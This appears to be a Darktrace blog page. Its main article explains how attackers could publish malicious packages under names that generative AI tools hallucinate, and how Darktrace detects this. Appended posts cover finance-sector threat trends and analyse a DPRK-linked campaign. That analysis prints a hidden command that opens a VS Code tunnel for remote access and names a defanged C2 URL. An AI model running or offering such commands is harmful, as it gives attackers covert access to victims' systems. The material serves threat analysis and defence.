October 30, 2023

Exploring AI Threats: Package Hallucination Attacks

Learn how malicious actors exploit errors in generative AI tools to launch packet attacks. Read how Darktrace products detect and prevent these threats!

Written by

Charlotte Thompson

Cyber Analyst

Written by

Tiana Kelly

Deputy Team Lead, London & Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Charlotte Thompson

Cyber Analyst

Written by

Tiana Kelly

Deputy Team Lead, London & Cyber Analyst

Oct 2023

AI tools open doors for threat actors

On November 30, 2022, the free conversational language generation model ChatGPT was launched by OpenAI, an artificial intelligence (AI) research and development company. The launch of ChatGPT was the culmination of development ongoing since 2018 and represented the latest innovation in the ongoing generative AI boom and made the use of generative AI tools accessible to the general population for the first time.

ChatGPT is estimated to currently have at least 100 million users, and in August 2023 the site reached 1.43 billion visits [1]. Darktrace data indicated that, as of March 2023, 74% of active customer environments have employees using generative AI tools in the workplace [2].

However, with new tools come new opportunities for threat actors to exploit and use them maliciously, expanding their arsenal.

Much consideration has been given to mitigating the impacts of the increased linguistic complexity in social engineering and phishing attacks resulting from generative AI tool use, with Darktrace observing a 135% increase in ‘novel social engineering attacks’ across thousands of active Darktrace/Email™ customers from January to February 2023, corresponding with the widespread adoption of ChatGPT and its peers [3].

Less overall consideration, however, has been given to impacts stemming from errors intrinsic to generative AI tools. One of these errors is AI hallucinations.

What is an AI hallucination?

AI “hallucination” is a term which refers to the predictive elements of generative AI and LLMs’ AI model gives an unexpected or factually incorrect response which does not align with its machine learning training data [4]. This differs from regular and intended behavior for an AI model, which should provide a response based on the data it was trained upon.

Why are AI hallucinations a problem?

Despite the term indicating it might be a rare phenomenon, hallucinations are far more likely than accurate or factual results as the AI models used in LLMs are merely predictive and focus on the most probable text or outcome, rather than factual accuracy.

Given the widespread use of generative AI tools in the workplace employees are becoming significantly more likely to encounter an AI hallucination. Furthermore, if these fabricated hallucination responses are taken at face value, they could cause significant issues for an organization.

Use of generative AI in software development

Software developers may use generative AI for recommendations on how to optimize their scripts or code, or to find packages to import into their code for various uses. Software developers may ask LLMs for recommendations on specific pieces of code or how to solve a specific problem, which will likely lead to a third-party package. It is possible that packages recommended by generative AI tools could represent AI hallucinations and the packages may not have been published, or, more accurately, the packages may not have been published prior to the date at which the training data for the model halts. If these hallucinations result in common suggestions of a non-existent package, and the developer copies the code snippet wholesale, this may leave the exchanges vulnerable to attack.

Research conducted by Vulcan revealed the prevalence of AI hallucinations when ChatGPT is asked questions related to coding. After sourcing a sample of commonly asked coding questions from Stack Overflow, a question-and-answer website for programmers, researchers queried ChatGPT (in the context of Node.js and Python) and reviewed its responses. In 20% of the responses provided by ChatGPT pertaining to Node.js at least one un-published package was included, whilst the figure sat at around 35% for Python [4].

Hallucinations can be unpredictable, but would-be attackers are able to find packages to create by asking generative AI tools generic questions and checking whether the suggested packages exist already. As such, attacks using this vector are unlikely to target specific organizations, instead posing more of a widespread threat to users of generative AI tools.

Malicious packages as attack vectors

Although AI hallucinations can be unpredictable, and responses given by generative AI tools may not always be consistent, malicious actors are able to discover AI hallucinations by adopting the approach used by Vulcan. This allows hallucinated packages to be used as attack vectors. Once a malicious actor has discovered a hallucination of an un-published package, they are able to create a package with the same name and include a malicious payload, before publishing it. This is known as a malicious package.

Malicious packages could also be recommended by generative AI tools in the form of pre-existing packages. A user may be recommended a package that had previously been confirmed to contain malicious content, or a package that is no longer maintained and, therefore, is more vulnerable to hijack by malicious actors.

In such scenarios it is not necessary to manipulate the training data (data poisoning) to achieve the desired outcome for the malicious actor, thus a complex and time-consuming attack phase can easily be bypassed.

An unsuspecting software developer may incorporate a malicious package into their code, rendering it harmful. Deployment of this code could then result in compromise and escalation into a full-blown cyber-attack.

Figure 1: Flow diagram depicting the initial stages of an AI Package Hallucination Attack.

For providers of Software-as-a-Service (SaaS) products, this attack vector may represent an even greater risk. Such organizations may have a higher proportion of employed software developers than other organizations of comparable size. A threat actor, therefore, could utilize this attack vector as part of a supply chain attack, whereby a malicious payload becomes incorporated into trusted software and is then distributed to multiple customers. This type of attack could have severe consequences including data loss, the downtime of critical systems, and reputational damage.

How could Darktrace detect an AI Package Hallucination Attack?

In June 2023, Darktrace introduced a range of DETECT™ and RESPOND™ models designed to identify the use of generative AI tools within customer environments, and to autonomously perform inhibitive actions in response to such detections. These models will trigger based on connections to endpoints associated with generative AI tools, as such, Darktrace’s detection of an AI Package Hallucination Attack would likely begin with the breaching of one of the following DETECT models:

Compliance / Anomalous Upload to Generative AI
Compliance / Beaconing to Rare Generative AI and Generative AI
Compliance / Generative AI

Should generative AI tool use not be permitted by an organization, the Darktrace RESPOND model ‘Antigena / Network / Compliance / Antigena Generative AI Block’ can be activated to autonomously block connections to endpoints associated with generative AI, thus preventing an AI Package Hallucination attack before it can take hold.

Once a malicious package has been recommended, it may be downloaded from GitHub, a platform and cloud-based service used to store and manage code. Darktrace DETECT is able to identify when a device has performed a download from an open-source repository such as GitHub using the following models:

Device / Anomalous GitHub Download
Device / Anomalous Script Download Followed By Additional Packages

Whatever goal the malicious package has been designed to fulfil will determine the next stages of the attack. Due to their highly flexible nature, AI package hallucinations could be used as an attack vector to deliver a large variety of different malware types.

As GitHub is a commonly used service by software developers and IT professionals alike, traditional security tools may not alert customer security teams to such GitHub downloads, meaning malicious downloads may go undetected. Darktrace’s anomaly-based approach to threat detection, however, enables it to recognize subtle deviations in a device’s pre-established pattern of life which may be indicative of an emerging attack.

Subsequent anomalous activity representing the possible progression of the kill chain as part of an AI Package Hallucination Attack could then trigger an Enhanced Monitoring model. Enhanced Monitoring models are high-fidelity indicators of potential malicious activity that are investigated by the Darktrace analyst team as part of the Proactive Threat Notification (PTN) service offered by the Darktrace Security Operation Center (SOC).

Conclusion

Employees are often considered the first line of defense in cyber security; this is particularly true in the face of an AI Package Hallucination Attack.

As the use of generative AI becomes more accessible and an increasingly prevalent tool in an attacker’s toolbox, organizations will benefit from implementing company-wide policies to define expectations surrounding the use of such tools. It is simple, yet critical, for example, for employees to fact check responses provided to them by generative AI tools. All packages recommended by generative AI should also be checked by reviewing non-generated data from either external third-party or internal sources. It is also good practice to adopt caution when downloading packages with very few downloads as it could indicate the package is untrustworthy or malicious.

As of September 2023, ChatGPT Plus and Enterprise users were able to use the tool to browse the internet, expanding the data ChatGPT can access beyond the previous training data cut-off of September 2021 [5]. This feature will be expanded to all users soon [6]. ChatGPT providing up-to-date responses could prompt the evolution of this attack vector, allowing attackers to publish malicious packages which could subsequently be recommended by ChatGPT.

It is inevitable that a greater embrace of AI tools in the workplace will be seen in the coming years as the AI technology advances and existing tools become less novel and more familiar. By fighting fire with fire, using AI technology to identify AI usage, Darktrace is uniquely placed to detect and take preventative action against malicious actors capitalizing on the AI boom.

Credit to Charlotte Thompson, Cyber Analyst, Tiana Kelly, Analyst Team Lead, London, Cyber Analyst

References

[1] https://seo.ai/blog/chatgpt-user-statistics-facts

[2] https://darktrace.com/news/darktrace-addresses-generative-ai-concerns

[3] https://darktrace.com/news/darktrace-email-defends-organizations-against-evolving-cyber-threat-landscape

[4] https://vulcan.io/blog/ai-hallucinations-package-risk?nab=1&utm_referrer=https%3A%2F%2Fwww.google.com%2F

[5] https://twitter.com/OpenAI/status/1707077710047216095

[6] https://www.reuters.com/technology/openai-says-chatgpt-can-now-browse-internet-2023-09-27/

Deputy Team Lead, London & Cyber Analyst

Inside the SOC

Written by

Charlotte Thompson

Cyber Analyst

Written by

Tiana Kelly

Deputy Team Lead, London & Cyber Analyst

VP, Security & AI Strategy, Field CISO

Watch the NIS2 Webinar

Blog

Network

January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.

7. Cloud complexity and AI governance gaps are now systemic risks.

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.

‍

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Blog

Network

January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Check out this article by Darktrace: Exploring AI Threats: Package Hallucination Attacks

Exploring AI Threats: Package Hallucination Attacks

AI tools open doors for threat actors

What is an AI hallucination?

Why are AI hallucinations a problem?

Use of generative AI in software development

Malicious packages as attack vectors

How could Darktrace detect an AI Package Hallucination Attack?

Conclusion

References

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

Enjoying the blog?

More in this series

How to Secure AI in the Enterprise: A Practical Framework for Models, Data, and Agents

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

Protecting the Experience: How a Global Hospitality Brand Stays Resilient

Blog

Network

January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

The evolving cybersecurity threat landscape in finance

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

2. Data Loss Prevention is an increasing challenge

3. Ransomware is evolving toward data theft and extortion

4. Attackers are exploiting edge devices, often pre-disclosure.

5. DPRK-linked activity is growing across crypto and fintech.

7. Cloud complexity and AI governance gaps are now systemic risks.

Building cyber resilience in a shifting threat landscape

Blog

Network

January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Introduction

Technical analysis

Conclusion

Appendix

Indicators of Compromise (IoCs)

MITRE ATTACK

References